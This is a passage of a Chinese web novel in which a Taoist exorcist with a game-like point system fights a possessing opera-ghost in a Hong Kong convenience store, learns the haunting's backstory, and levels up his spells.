毕竟,江湖不是只有打打杀杀,还得讲究个人情世故……和鬼情鬼故。
如果谈判失败,那就只能看情况保住几个人安全撤离了。
“我先试试跟它‘聊聊’。”
古德对谢潮使了个眼色,轻声道:“你掩护我,见机行事。如果谈崩了,你别开枪,我把它逼出来,你护住他们退出来!”
说完他递给谢潮一张护身符。
“明白!”谢潮重重点头,握紧了**,枪口微微下垂,但手腕紧绷,瞄准着那被附身收银员的腿部,随时准备一击打断行动力。
古德深吸一口气,调整了一下呼吸,将一丝法力凝聚于指尖,暗中点向便利店那被阴气封锁的自动感应门。
嗤~
一声轻微的、仿佛气泡破裂的声音响起,门框周围浓郁的阴气被法力强行驱散开一个小缺口。
“欢迎光临~便利佳~”
自动感应门应声而开,发出机械而甜美的电子女声播报。
这突如其来的电子音和开门动静,像是一块石头丢进死水里,瞬间打破了便利店内戏煞自导自演的恐怖闹剧!
刷——!
无论是那四个惊恐万分的男女、还是那个被附身狰狞冷笑的收银员、以及角落里那三个呆滞的鬼影,所有人的目光全都齐刷刷地转向门口。
他们目光齐聚在刚刚踏入门内、神色平静却眼神锐利的古德,以及他身后那个一脸戒备的谢潮身上。
便利店内的空气仿佛瞬间凝固了。
那戏煞恶鬼操控着收银员的身体,缓缓转过身,那张画着浓墨重彩脸谱的鬼脸正对着古德,猩红的嘴唇咧开一个极其诡异的弧度,发出一个混合着男收银员痛苦呻吟和它自身尖利戏腔的古怪声音:
“咿呀~~~又来两位……看客?可是来欣赏……这一出……《活捉三郎》的么?呵呵呵呵……”
第55章 谈判失败了!
面对眼前这诡异而混乱的场面,古德显得异常平静。
他甚至还抬手挥了挥,像是跟老朋友打招呼一样,语气轻松地说道:“晚上好啊,各位。挺热闹啊?”
那被戏煞恶鬼附身的男收银员,脸上的表情瞬间发生了极其诡异的变化!
上一秒还是狰狞扭曲、带着戏谑的疯狂,下一秒忽然就变得异常正常,甚至挤出了一个标准的、职业化的微笑。
只是他眼神深处依旧是一片空洞和冰冷,声音也变得毫无波澜,如同复读机:
“欢迎光临便利佳~尊敬的客人,请问您需要点什么?”
他一边说,一边伸出舌头舔了舔有些干裂的嘴唇,语气忽然又变得阴森诡异起来,仿佛在介绍特色商品:
“我们这里……有新鲜的人心肝,热乎的五脏六腑,刚挖出来的眼珠子也还有库存……您看,需要来点哪样下酒?保证……新鲜刺激!嘿嘿嘿……”
说完,他又发出一阵癫狂而刺耳的笑声,身体不自然地扭动着,眼神死死锁定古德和谢潮:
“或者……两位靓仔也别走了,留下来给我当个长期观众吧!我给你们唱一辈子……《活捉二郎神》!保证比看大戏还精彩!哈哈哈!”
古德面不改色,甚至还配合着摇了摇头,语气平淡地像是在菜市场讨价还价:
“谢了,心肝脾肺肾什么的,口味太重,吃不惯。至于当观众……收费太贵,看不起。”
他话锋一转,试图把话题引向艺术交流,看看能不能缓和气氛:
“我看阁下这身行头,唱念做打,一看就是资深票友,对戏曲很有研究啊?正好,我认识一位……嗯,艺术界的女性朋友,叫美姨。
她也挺喜欢唱戏的,说不定你们能有共同语言?要不要介绍你们认识一下,交流交流心得?她应该会很喜欢你的……表演风格。”
那戏煞恶鬼闻言,明显愣了一下,操控的收银员动作都停滞了片刻。
它似乎完全没料到,眼前这两个闯入者不仅不怕它,居然还一本正经地跟它讨论起戏曲艺术、甚至要给它介绍票友?
这种反应是它成为恶鬼以来从未遇到过的!
通常人类见到它,不是吓得屁滚尿流就是疯狂逃窜,哪有这么淡定还带聊天的?
古德见它似乎有瞬间的迟疑,立刻趁热打铁,试图讲道理:
“当然,要是您对联谊没兴趣,那咱们就事论事。是不是这几位朋友”
他指了指身后那四个吓破胆的男女,“哪里不小心得罪您了?要不您划下个道来,我让他们摆一桌和头酒,郑重给您赔个不是?
烧点元宝蜡烛,金山银山,再请个戏班子给您唱三天大戏赔罪?咱们有话好好说,打打杀杀多伤和气,对吧?”
然而,古德这番“晓之以情、动之以理”的“友好协商”,非但没有平息戏煞恶鬼的怒火,反而像是戳中了它的某个痛处!
“得罪我?!!”
那戏煞恶鬼猛地发出一声尖锐刺耳的咆哮,被附身的收银员整张脸都扭曲起来,脸上的油彩仿佛要滴下血来!
“他们……他们竟敢不相信我!!!我说我看到了!我真的看到了!!!他们都说我疯了!我真的看到鬼了啊!!!啊啊啊!!冤枉我的人都得死!!!”
古德被它这没头没脑、充满怨毒的怒吼搞得有点懵:
“不相信你?不相信你看到鬼?可你自己不就是个……”
他话没说完,自己先反应过来了。
这戏煞恶鬼生前恐怕就是因为声称自己见鬼而被旁人视为疯子,还被人冤枉,遭受了极大的痛苦和折磨,最终含冤**而死。
所以死后化为厉鬼,对“不被信任”这件事有着极端偏执的怨念!
任何质疑它的人,都会触发它最深的恨意!
而就在古德与戏煞恶鬼对话周旋的这短短几十秒里,那四个原本被追得鸡飞狗跳的男女显示出了惊人的求生欲和眼力见!
他们趁着一人一鬼“交谈”的机会,连滚带爬、手脚并用地悄悄挪到了古德和谢潮的身后,瑟瑟发抖,如同找到了母鸡的小鸡崽。
古德用眼角余光快速扫了他们一眼。
三男一女,都是二十多岁的年轻人,除了一个穿着休闲服,其余几个都是便利店的服装。
这几个面孔……嗯,有点眼熟,果然是他想的那部老港产鬼片《猛鬼通宵陪住你》里的那几个倒霉蛋!
但现在不是吐槽的时候!
因为眼前的戏煞恶鬼已经因为被触及逆鳞而彻底暴走了!
浓郁的、带着血腥味的怨气如同黑色浪潮般从它体内爆发出来!
它发出一声震耳欲聋的、混合着京剧花脸咆哮和鬼哭狼嚎的尖啸,操控着收银员的身体,张牙舞爪地就朝着古德猛扑过来!
速度快得惊人!
“阿潮!”古德低喝一声,同时给谢潮使了个眼色,意思是“带人先撤!”
“明白!”谢潮反应极快,立刻对身后那四个惊魂未定的年轻人低吼道:
“别发呆!跟着我!快往外跑!”
说着,他一手**警惕地指向扑来的戏煞恶鬼,一手示意那四人赶紧从刚刚被古德破开阴气封锁的自动门出去。
那四人求生本能爆发,不用谢潮多说第二遍,连滚带爬地就朝着门口冲去!
与此同时,古德面对猛扑而来的戏煞恶鬼,不退反进!
他手腕一翻,掌心中已然多了一个小巧的玻璃瓶,正是谢潮之前给他的“显形水”!
“请你喝杯东西!”
古德低喝一声,看准时机,手臂猛地一甩!
嗖——啪!
玻璃瓶精准地砸在了被附身的收银员胸口,瞬间碎裂!
里面淡蓝色的液体溅了那戏煞恶鬼满身!
“嗷呜——!!!”
一声凄厉无比的惨嚎瞬间响起。
那戏煞恶鬼仿佛被泼了浓硫酸一样,周身冒出大量滋滋作响的白烟。
附体的鬼影剧烈扭曲波动,显形水的力量不仅让它痛苦万分,更是强行将它的一部分鬼体从收银员身上“逼”了出来,使其暂时无法完全操控宿主行动。
机会!
古德没有丝毫犹豫,左手早已扣住的“斩鬼符”瞬间被法力激活,爆发出刺目的金色光芒!
“敕邪!破!”
他脚下踏前一步,腰马合一,右手并指如剑,引动金光灿灿的符箓,一掌狠狠地拍在了那暂时被逼出部分形体的戏煞恶鬼鬼影之上!
轰!
一声闷响!金光与浓烈的黑气猛烈碰撞,发出如同冷水滴入热油般的剧烈“滋滋”声!
“啊啊啊——!
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>”那戏煞恶鬼发出更加痛苦的嚎叫,整个鬼影被强大的符力打得倒飞出去,重重地撞在后面的零食货架上,撞得薯片、饼干哗啦啦掉了一地!
它身上被符箓击中的地方,黑气明显淡薄了许多,甚至出现了一个模糊的、闪烁着金光的掌印残痕,正在不断侵蚀消磨它的阴气!
然而,古德的瞳孔却微微收缩,心中暗惊:“好硬的家伙!”
这“斩鬼符”虽然只是LV2,但蕴含的破邪之力对付普通怨灵恶鬼,通常都是一击必杀或者至少能重创。
但这戏煞恶鬼硬吃了一记,虽然被打飞受伤,阴气消耗巨大,魂体也变得虚幻了一些,但却并没有立刻溃散!
反而挣扎着想要爬起来,周围便利店中浓郁的阴气正丝丝缕缕地向它汇聚,试图修复它的伤势!
“扑街,这鬼东西阴气厚,还能吸主场优势回血!”
古德瞬间判断出形势不利。
他今天只是出来买啤酒的,身上就带了几张应急的符箓,显形水还是问谢潮拿的。
像桃木剑、铜钱剑啥的大家伙都没带!
跟这种能快速恢复的地头蛇恶鬼在它的主场缠斗,太吃亏了!
必须撤!
念头急转之间,古德动作丝毫不停!
他趁着那戏煞恶鬼正被“斩鬼符”残留的金光灼烧、痛苦挣扎、暂时无法有效攻击的宝贵间隙,一个箭步上前。
古德根本不去管那恶鬼,而是直接弯腰,一把抓住那个被附身后又被打飞、此刻瘫软在地、昏迷不醒的男收银员的脚踝!
“走你!”
古德低喝一声,也顾不上什么温柔了,直接粗暴地拖着那个倒霉的收银员,转身就朝着便利店门口狂奔而去!
那收银员像条破麻袋一样被拖在地上,发出无意识的呻吟。
那戏煞恶鬼见状,发出愤怒至极的咆哮,挣扎着想追过来,但身上闪烁的金光和显形水的残留效果依旧在持续伤害并禁锢着它,让它只能眼睁睁看着古德拖着它的“玩具”跑出了便利店大门!
“混账!!!坏我好事!!!我定要你们……啊啊啊!!!”
充满怨毒的威胁声被符力灼烧的痛苦惨叫所打断。
便利店外,谢潮已经**警戒着门口,那四个年轻人则惊魂未定地躲在稍远的地方,看到古德拖着一个人冲出来,都吓了一跳。
“德仔!没事吧?”谢潮连忙上前接应。
“没事!快!搭把手!把这哥们弄起来!”古德喘了口气,招呼道。
那四个年轻人中的三个男的见状,虽然害怕,但还是鼓起勇气上前,七手八脚地把那个昏迷的收银员扶了起来。
古德看了一眼惊魂未定的四人和一个昏迷的收银员,又警惕地看了一眼那阴气森森的便利店入口,毫不犹豫地说道:
“这里不是说话的地方!那家伙缓过劲来可能会追出来!先跟我走!去我家!就在前面不远!”
说完,他也不等几人回应,率先朝着他家的方向快步走去。
谢潮立刻示意大家跟上,自己则**断后,警惕着身后的动静。
一行人,带着一个昏迷的,狼狈却又迅速地消失在了霓虹闪烁的街道转角,只留下那家被浓郁阴气笼罩、仿佛在无声咆哮的便利店,在夜色中显得格外诡异和寂静。
第56章 猛鬼通宵陪住你
古德带着一群人,脚步匆匆地回到了阴阳路自家楼下。
一路上便利店几人惊魂未定,脚步声急促,在这条夜色昏沉的街道上显得格外突兀。
街灯昏黄,光线忽明忽暗,仿佛随时可能熄灭,风声裹挟着阴冷的气息从胡同里钻出来,吹得几人背脊发凉。
古德走到门口,下意识地伸手去摸口袋,却摸了个空。
“扑街……”他低声爆了句粗口,脸色一黑。
钥匙竟然没带!
刚才出门买啤酒太急,随手揣了钱包就出来了。
“啧…”古德无奈,只好抬手敲门,“阿星!开门!阿星!”
屋里传来周星星特有的嗓音,带着一股嫌弃的拖腔,由远及近:“来了来了!德仔你搞咩啊,出门连钥匙都唔带?啤酒买好了吗——”
“吱呀——”话音未落,门从里面被拉开一条缝。
下一秒,门彻底敞开,油烟味和热汤香气扑面而来。
门口站着的周星星,身上竟系着一条沾满油渍的碎花围裙,一手还拎着锅铲,头发被蒸汽烘得微微卷起,额头全是细汗。
显然刚才正忙得不可开交。
“德仔你——”他抱怨的话还没说完,眼角余光一扫门外场景,整个人顿时愣住了!
门外乌泱泱站着一大群人!
古德和谢潮自不必说,除此之外,还有四个面色苍白、神情惶惶的年轻男女,以及一个身穿便利店制服、虚弱不堪、正被人搀扶着的男人!
场面之大,阵仗之乱,让周星星直接傻了眼。
“哐当!”他手里的锅铲不受控地掉在地上,溅起几点油星。
“哇!搞…搞咩这么大阵仗啊?!”
周星星眼睛瞪得溜圆,结结巴巴,“我准备嘅食材都唔够啊!啤酒呢?讲好嘅啤酒呢?!”
他慌乱地一会儿看古德,一会儿盯着那几张陌生的面孔,表情宛如见鬼。
古德无语地弯腰,把锅铲捡起来塞回他手里,顺手把他往屋里推:
“啤酒没了,便利店打烊了。喝水吧,喝水健康。”
他又拍了拍周星星的肩,淡定吩咐:“别愣着了,快去把火锅食材准备一下,正好边吃边聊。”
说罢,他转头看向门口几人,见他们还站在原地不敢进来,神色依旧紧绷,于是摆了摆手,声音放得很温和:
“都进来吧,别杵门口了。放心,这里很安全。先坐下休息一会儿,喝口水压压惊。”
便利店幸存下来的四人对视一眼,眼神里满是戒备与犹豫。但看到古德和谢潮的冷静神态,心底那股慌乱渐渐被压下去,终于硬着头皮走进了屋子。
他们进屋后,不约而同好奇又紧张地打量着这个看起来普普通通、但莫名让人安心的住所。
周星星虽然满肚子疑问,但还是听话地嘟囔着“没啤酒食咩火锅啊…”,转身跑回厨房继续忙活了。
客厅里,古德示意几人坐下。
沙发不够大,有人只好搬了凳子过来。
那个长得酷似吴振宇的收银员这时也慢慢回过神来,瘫坐在沙发一角,额头冷汗未干,呼吸急促,看上去心有余悸。
古德双手环胸,目光缓缓扫过沙发上这一溜熟面孔。
一个酷似吴振宇的男人,此刻正抱着额头,脸色惨白,他就是古德之前见过便利店的收银员;
一个酷似黎纸的女孩,明艳的眉眼因为惊恐而失色,双手紧紧攥着衣角;
一个酷似黄纸华,留着一头蓬松卷发的年轻人,神色最为镇定,眼神里带着思索与警惕;
一个酷似雷雨扬的男人,不安地搓着手掌,不时东张西望,仿佛生怕角落里会再蹦出什么东西;
还有一个酷似钱加乐的壮实小伙子,肩宽背厚,却此刻缩着脖子,一副被吓坏的模样。
这几张脸孔,古德再熟悉不过。
全都是后世港产鬼片里的明星脸!
不过现在,他们只是这个世界里的一群普通人。
古德看着他们,心里忍不住吐槽:
“好家伙,还真是《猛鬼通宵陪住你》主角团全员到齐啊!这阵容,去拍鬼片真是浪费了……
雷雨扬这老哥果然
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是港产鬼片的劳模,不仅阴阳路系列几乎都有他,其他鬼片里也经常能见到他的脸!
不知道这个他跟火葬场那个陈大昌有没有亲戚?还有这个像钱加乐的家伙……我记得陈氏兄妹茶餐厅里也有一个钱加乐,难不成也是一脉?这世界的人物关系网,啧,简直比短剧里的关系还复杂。”
他就这么看着看着,思维不由自主地开始发散,联想到了各种前世看过的电影剧情和人物关系,一时间竟然愣在了那里,眼神放空,仿佛神游天外。
旁边的谢潮看着古德这副突然开始发呆的模样,忍不住哭笑不得,用手肘轻轻撞了他一下,压低声音道:
“喂!德仔!发什么呆呢?现在不是走神的时候啊!这事情到底怎么解决?
那便利店里的家伙看起来凶得很!要不要我立刻呼叫总部,先派人把那家店暂时封锁起来?免得再有不知情的人闯进去出事?”
古德被他一撞,这才回过神来,连忙收敛心神,点了点头:
“对!先封起来!阿潮你这主意好。那就你来安排!就说‘内部设备检修,暂停营业’,拉上警戒线、贴封条,找个能唬住人的理由,别让人起疑。”
“明白!”谢潮立刻走到一边,拿出他的大哥大开始打电话联系手下安排。
安排妥当后,他才重新走回客厅。
古德这时也收敛了心神,缓缓扫过沙发上的几人,语气放缓,尽量让他们放松:
“好了,现在安全了。大家先缓口气。能说说,到底怎么回事吗?你们怎么会惹上那种东西的?对了,先介绍一下自己吧,我也好知道该怎么帮你们。”
沙发上的五人互相交换了一下眼神,最后,那个长得酷似黄纸华的年轻人深吸一口气,站了起来。
他先是从口袋里掏出一个小巧的**,展示给刚刚打完电话走回来的谢潮看。
“谢Sir,您好,久仰。我是东九龙警署刑侦科(CID)的探员,莫作栋。”
他语气稳重,但仔细听,仍带着一丝不易察觉的疲惫。
第57章 便利店的来龙去脉
谢潮一愣,接过证件看了看,又仔细打量了莫作栋一眼,意外道:“哦?CID的?你认识我?”
他没想到这里还有个同行。
莫作栋收回证件,没有解释自己怎么认出谢潮的,只是点了点头,然后开始介绍其他人。
他先抬手指向那个还在揉太阳穴,满脸疲惫,酷似吴振宇的男人道:“这位是发毛,‘便利佳’便利店夜班收银员,同时也是便利店的合伙人之一。”
说到“夜班”两个字时,莫作栋特意加重了语气。
紧接着,他转向那个神色紧绷的漂亮女孩:“她叫CISSY,我们都叫她小云,也是便利店的合伙人之一。”
小云眼眶泛红,轻轻攥着衣角,显然心中惶惶不安。
莫作栋又指了指一个看起来神经紧绷、下意识时不时左右张望的年轻人:“这位是陈中番,花名‘番茄’,同样是便利店的合伙人。”
最后,他停在那个肩宽背厚、酷似钱嘉乐的壮实男生身上:“这是陈牙丫,也是合伙人。哦,他和番茄只是同姓,不是亲戚。”
古德和谢潮都微微颔首,把几人的身份牢牢记下。
古德接着刚才的问题追问:“莫探员,你路上提过,几天前你就知道那家店撞鬼了?具体情况能说说吗?我看你……好像对自己见鬼这事,并不是完全意外。”
莫作栋闻言,脸上露出一抹无奈的苦笑,摸了摸鼻子,开始讲述起来。
他语气低沉而清晰,带着一种办案陈述般的条理性,但对话内容却和他职业比起来,带着一些荒诞:
“是的,大概三天前,发毛最先发现不对劲。”
众人齐齐看向发毛。
发毛身体一僵,硬着头皮点点头,眼神中满是恐惧,额角渗出了冷汗。
莫作栋的声音低沉而条理分明,像在做一份诡异的案情陈述:
“发毛最近经常做噩梦,夜班的时候,仓库里会传出奇怪的……唱戏声。那声音拖腔带调,咿咿呀呀,好像有人在吊嗓子,忽远忽近,时有时无。
除此之外,他还说总能看见货架背后有人影晃动,可一旦过去查看,却什么都没有。”
发毛闻言,脸色惨白如纸,下意识抱紧了双臂,似乎那种场景此刻又在脑海中浮现。
“收银机自己跳数字,冰柜会自己开关,有时还能闻到……像是血腥和香烛混合的味道。”莫作栋说到这里,语气放缓了一瞬,目光落在发毛身上。
发毛浑身一个激灵,急忙点头附和:“对!就是那股味道!那味道一冒出来,整个人鸡皮疙瘩都起来了!”
沙发上的小云、番茄和陈牙丫脸色都有些发青,愧疚和懊悔写在脸上。
小云声音颤抖,像是在忏悔:“当时……我们都以为是发毛太累,产生幻觉了。还笑他胆子小,说他吓自己,让他多休息几天……”
她的手指深深掐进掌心,眼角泛着泪意。
莫作栋叹了口气,继续道:
“发毛觉得不对劲,就找上了我。因为我老妈……她以前是帮人问米的,所以我从小对这类灵异事件听得比较多,虽然我自己不太信,但也不会完全否定。我就陪发毛去值了一次夜班……”
他的表情变得凝重起来,仿佛回忆起了什么不好的经历:
“结果……那天晚上,我也遇到了!先是听到清晰的唱戏声,接着收银台电话突然响起,传来模糊的低语……
我们吓得想跑,可自动门死死打不开。然后放在架子上的一张广告海报,竟突然开口说话,阴森森地学人声和我们对话!”
说到这,空气陡然压抑下来。小云和番茄下意识往后缩,脸色煞白。
“那鬼东西,就是在耍我们!”莫作栋的声音带着一些后怕,一些愤怒。
“后来小云、番茄、陈牙丫……他们几个相继出现过异常,甚至在晚上被附身。但白天醒来,却什么都不记得。”
几人面面相觑,神色慌乱,急忙摇头否认:“我……我完全没印象啊!”
莫作栋等他们说完,深吸一口气,继续说道:“那次之后,我确认发毛不是编故事。我便利用职务之便,查阅了便利店所在街区的旧档案。”
他的声音压得更低,带着一丝揭秘般的沉重:“结果发现,那家店七年前,也是由另外四个合伙人经营的。
在七年前的七月十一号,也就是前几天!午夜时分,他们不知道因为什么原因,在店里发生了激烈的争执,最后演变成了械斗!
结果……三个人当场被**在了店里!血溅得到处都是!只有一个幸存者,但精神好像也出了问题,后来就不知所踪了。”
他顿了顿,目光扫过众人:“我猜,就是因为这场极其惨烈、充满怨恨的**案,那三个死者的亡魂怨气不散,一直被困在那店里!
每年到了同月同日,怨气最盛的时候,就会重现当时的凶案场景!或者……引诱新的人进去,成为他们的替身!”
“所以,为了避开这个魔咒,我才特地在昨天让他们四人离开便利店,拉去打了一整晚的麻将。”
“但是!”莫作栋语气一转,眉头紧锁。
“今天早上我才发现……今天才是七月十一号!我们全都被鬼迷了心窍,搞错了
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日子。”
“这还没完!今天下午,我又拜托档案室的一位老同事帮我深挖,结果竟又发现了一件更早的记录。”
“原来,在八年前,那家店还出过一件事!当时店里雇了一个年轻的男收银员,那孩子人很老实,平时沉默寡言,但据说很喜欢唱戏,尤其是京剧。”
“有一次,店里的另一个收银员丢了钱,硬说是他偷的,还当着所有店员和客人的面羞辱他,骂他‘戏子’、‘手脚不干净’……
那孩子百口莫辩,性子又倔,一时想不开……就在那天晚上,用一根绳子,在便利店的仓库里……上吊**了!”
说到这里,便利店的人都倒吸了一口凉气!
小云更是害怕地捂住了嘴。
莫作栋的声音带着一丝沉重:“所以……我怀疑,我们现在遇到的这个最凶、会唱戏、会附身的……根本就不是那三个械斗死的凶灵!
而是更早之前,那个蒙受不白之冤、含恨吊死在仓库里的……收银员冤魂!”
整个客厅一片寂静,只有火锅在厨房里“咕嘟咕嘟”沸腾的声音和周星星摆弄碗筷的轻微响动。
小云、番茄、陈牙丫和发毛四人脸色惨白如纸,身体微微发抖,显然被这恐怖的真相吓得不轻。
就连谢潮也面色凝重,他下意识的摸了一下腰间的**,冷声开口:
“如果真是那**死的收银员……它的怨气,恐怕比那三个打群架死的还要深重得多!那三个凶灵,说不定反而被它压制了,成了它的‘帮凶’或者‘观众’!””
古德静静听完,心头豁然开朗。
他对电影的剧情记忆模糊,但此刻结合莫作栋的叙述,隐隐间对上了。
他目光移向发毛,语气带着几分无奈:“我之前不是给过你我的Call机号码吗?遇到这种事,怎么不早点联系我?”
发毛一脸尴尬和懊悔,哭丧着脸说:
“大师……我……我本来是放在衬衫口袋里的……也不知道怎么回事,那天晚上下班回家就发现不见了!
可能……可能是不小心掉在哪里,或者……被那种东西给弄没了?”
他越想越觉得诡异,后背一阵发凉。
古德叹了口气,点了点头。
看来是那“戏煞”搞的鬼,它显然不想有人来打扰它的“复仇”和“表演”。
至此,便利店闹鬼事件的来龙去脉,终于基本清晰了。
接下来,就是要商量如何彻底解决这个麻烦的“戏煞”恶鬼了。
火锅的香气已经从厨房飘了出来,但此刻客厅里的众人,显然都没什么胃口。
第58章 再一次加点法力
客厅里,众人食不知味地匆匆吃完了这顿气氛凝重的火锅。
周星星虽然一直在厨房忙活,但也竖着耳朵听完了整个故事,脸上难得收起了嬉皮笑脸,多了几分严肃。
他没多问什么,只是默默地给大家盛汤添菜。
饭后,古德看了看窗外浓重的夜色,又看了看沙发上那几个依旧惊魂未定、哈欠连天的年轻人,对谢潮和周星星说道:
“潮哥,阿星,麻烦你们俩辛苦一趟,把他们几个带回你们部门吧。有你们两个专业人士护送,就算那戏煞再凶,今晚应该也不敢出来搞事了。”
他顿了顿,补充道:“你们也不用愁眉苦脸的,只不过是一只老鬼。明天我把家伙事带上,他跑不了。”
谢潮笑着点了点头,赞同了古德的说法:“的确是这样的,你们不用担心,今晚跟着我。而且我已经让伙计把那家便利店封锁了,拉了警戒线,今晚应该不会有人误闯。”
周星星也拍着胸脯保证:“放心啦德仔!有我周星星在,保证把他们安安全全送到警局!鬼来了我都给它拷回去!”
古德侧头看着周星星那副吹牛的样子,忍不住嘴角一抽。
心里默默吐槽:最好别到时候是你被鬼拷走了。
不过,他忽然想到自己还没提报酬的事。
看着几人身上那身混搭的休闲衣服和疲惫憔悴的样子,虽然他们合伙开了家便利店,但似乎也不是特别富裕的模样。
既然要出手,那还是得把话说明白。
于是古德干脆开口:“对了,我可以帮你们捉鬼。但是不免费,8.8W港币。如果愿意接受的话,明天就可以。不愿意的话,你们也可以另找高人,或者找你们旁边的谢sir。”
那几人一听到金额,脸色顿时一变,表情僵住,手指下意识地紧握裤缝,空气一下子有些尴尬沉默。
他们齐刷刷地把目光投向谢潮,眼里写满了祈求。
谢潮摊开手,耸了耸肩:“你们这家便利店是这恶鬼的老巢。我可以试试,但不能保证能解决,我也没亲手处理过这样的恶鬼。”
他顿了顿,语气认真了些:“不过我也不会敷衍的,到时候我会尝试一下。不过你们的便利店……要彻底驱除里面的阴气,就得另请高人了。”
莫作栋、发毛等人面面相觑,眉头拧成了一团。
他们低声嘀咕几句,又齐齐看向古德:“我们几人商量一下可以吗?”
古德做了个OK的手势,十分大方地带着周星星和谢潮起身,走向厨房,把客厅的空间留给他们。
厨房里灯光比客厅更昏黄些,弥漫着火锅残余的味道和一股淡淡的水汽。
古德靠在操作台边,语气淡淡地说道:“如果他们愿意接受的话,你们两个帮我,一人给你们1W港币报酬。”
周星星的眼睛“唰”地一下亮了,一脸的心动,眼珠子都差点变成港币符号。
谢潮抬起手,刚要出声拒绝。
却被古德抬手打断:“你孤家寡人一个,不考虑一下阿星,阿星可是有个女朋友要养的。”
谢潮转头看了周星星一眼,后者正一本正经地用力点头,表情写满了“哥,求你成全我”的意味。
谢潮沉默了两秒,最终叹了口气,什么都没再说,只是点了点头。
半晌后,客厅里那几人讨论出了结果。
他们几人虽然神情仍然犹豫,但眼神里已多了一丝坚定,他们决定拼一拼,把钱凑出来。
毕竟,这间便利店是他们几个一起奋斗起来的心血,他们不想就这么被一只鬼吓得关门大吉。
只要店里的恶鬼驱除,他们就能没有后顾之忧地继续下去。
于是,他们一致转头对古德说,愿意出钱请他帮忙捉鬼。
古德微微点头,神色平静地接受了。
很快,谢潮和周星星便带着那五个心有余悸的年轻人离开了古德家,很快,楼下传来了汽车发动和远去的声音。
屋子里顿时安静下来。
古德没有立刻休息,而是转身走进了书房。
关上门,他需要为明天可能的硬仗做准备,
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虽然他有自信,但是自信不代表自大。
书桌上,那几件温养中的法器在台灯下泛着微弱的灵光。
古德没有先去查看它们,而是深吸一口气,集中精神,唤出了脑海中的系统面板。
半透明的光幕浮现:
【姓名:古德】
【体质:7/10】(+)
【魅力:8/10】(+)
【精神:7/10】(+)
【法力:2/∞】(+)
【公里点数:1230.6】
【掌握技能:…(略)…】
看着公里点数一栏那还算可观的数字,古德心里稍微有了点底。
“1230点…应该够把法力提升一截了。”
他之前就发现,随着基础属性的提升,每次加点所需的点数也在增加。
之前从1点法力加到2点,花了100点。
这次从2点加到3点,他预估可能需要500点甚至1000点。
“加点!法力,2→3!”他心中默念。
【消耗500点公里数,法力提升至3点。】
嗡!
一股远比之前更加磅礴、更加精纯的温热能量瞬间从丹田深处涌出,如同决堤的洪流,迅速充盈了他的四肢百骸!
原本只有11丝的法力,瞬间暴涨到了35丝!
总量提升了三倍还多!
经脉传来微微的胀痛感,但更多的是一种力量充盈的舒畅!
“嘶……竟然只花了500点?而且直接涨到了35丝?这提升幅度可以啊!”古德又惊又喜。
他原本以为最多加到20丝左右,没想到系统还挺大方。
而且法力后面那个“+”号依然亮着,说明剩下的730点应该还够再提升一次。
“不过暂时先不加了,得留点备用,而且一下子提升太多怕身体吃不消。”
古德压下立刻再次加点的冲动,感受着体内那35丝如臂指使、灵动活跃的法力流,信心大增。
“法力足够了,是时候试试那个了!”他眼中闪过一丝期待。
第59章 金光初现
古德早就看中了系统技能树里的一项强**门【金光神咒】!
这可是道门鼎鼎有名的八大神咒之一,护身辟邪、降魔卫道的顶级神通!
之前一直没敢点,一是公里点数紧张,二是怕自己那点微末法力,就算学会了也撑不起金光消耗,一秒萎了岂不尴尬?
现在有了35丝法力,应该可以勉强一试了!
“加点!金光神咒,LV0→LV2!”
他毫不犹豫地投入了110点公里数。
直接点到LV2,确保掌握度足够。
【消耗110点公里数,金光神咒提升至LV2(熟练)。】
瞬间,大量关于金光神咒的修炼法门、口诀、手印、运功路线以及种种运用技巧和心得体会,如同潮水般涌入他的脑海!
仿佛他已经在此咒上勤修苦练了三年五载,对其理解和运用达到了一个相当熟练的程度!
古德屏息凝神,双手下意识地抬起,十指如穿花蝴蝶般快速变幻,结出一个复杂而玄奥的金光指诀!
同时,口中低沉而清晰地诵念出金光神咒的咒文:
“天地玄宗,万炁本根!广修亿劫,证吾神通!”
随着咒语响起,他体内35丝法力开始以前所未有的速度疯狂运转、燃烧!
如同开闸泄洪般汹涌而出!
“三界内外,惟道独尊!体有金光,覆映吾身!”
嗡——!
一声轻微的、仿佛来自灵魂深处的震鸣!
一道柔和却坚韧、散发着纯粹阳和正气与破邪威能的淡金色光芒,自他体内由内而外透发出来,迅速覆盖了他的全身!
金光并不刺眼,却凝实无比,将他整个人映照得宝相庄严,仿佛一尊开了光的金身塑像!
周围的阴晦之气瞬间被驱散一空,书房内变得异常清明祥和!
“成了!”古德心中一喜!
但紧接着,他就脸色微变!
“金光速现,覆护**!急急如律令!敕!”
最后一句咒语念完,他骇然发现,就这短短几秒钟的功夫,他体内的法力竟然已经狂泻了接近20丝!
而身体周围那层看似薄薄的金光,也随着法力的持续消耗而微微波动着。
他仔细感应了一下,以目前LV2的熟练度和20丝法力的投入,这层金光大概能维持……两分钟左右。
“我靠!这金光咒果然是耗蓝大户!开个最低配的省电模式,一分钟就要烧掉10丝法力?这谁顶得住啊!”
古德忍不住在心里吐槽,“这要是开到最大功率,或者被人猛攻,岂不是几下就要被抽干?”
他试着集中精神,想象着将手臂部分的金光加厚,或者其他部位的金光减弱以节省消耗。
但试了几次,那层金光只是微微波动,根本无法做到精细操控,要么全身都有,要么全部散去。
“看来LV2的熟练度,只能做到这种全身覆盖的基础应用。想要局部强化、灵活运用,至少得点到LV3甚至更高才行……”
古德有些无奈地散去了金光,感受着瞬间少了20丝法力的空虚感,心疼得直咧嘴。
这下他更不敢乱用公里点数了。
看了看面板,还剩620.6点。
他的目光在技能列表上扫过,最后落在了那个他一直有些犹豫的技能上【炁体源流】。
这个技能并非攻击或防御法术,而是源自他前世看过的一本同名道学典籍。
那本书是近现代某位道教学院高人汇集整理了无数道教经典中关于内炼、修行、气机、本源理论的精华篇章编纂而成,堪称一部“修道理论大全”和“内炼百科全书”。
对于古德这种没有师承、全靠系统加点和自己摸索的
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“野生修士”来说,这技能的价值无可估量!
它或许不能直接提升战斗力,但能极大加深他对修行本质、法力运转、精气神调和的理解,避免走火入魔,甚至可能找到更高效修炼和运用法力的方法。
“要是点了这个,说不定就能明白为什么金光咒这么耗蓝,有没有办法优化一下……”
古德摸着下巴思索着,“或者能找到更有效率的呼吸法运转路线?”
但想了想,他还是暂时按下了这个念头。
“现在点数紧张,明天就要对付那个难缠的戏煞恶鬼,还是先提升即战力更稳妥。炁体源流等以后点数宽裕了,或者遇到瓶颈时再点吧。”
于是,他转而将目光投向了另外两个实用技能。
“加点!收鬼符,LV1→LV2!”
“加点!镇鬼符,LV1→LV2!”
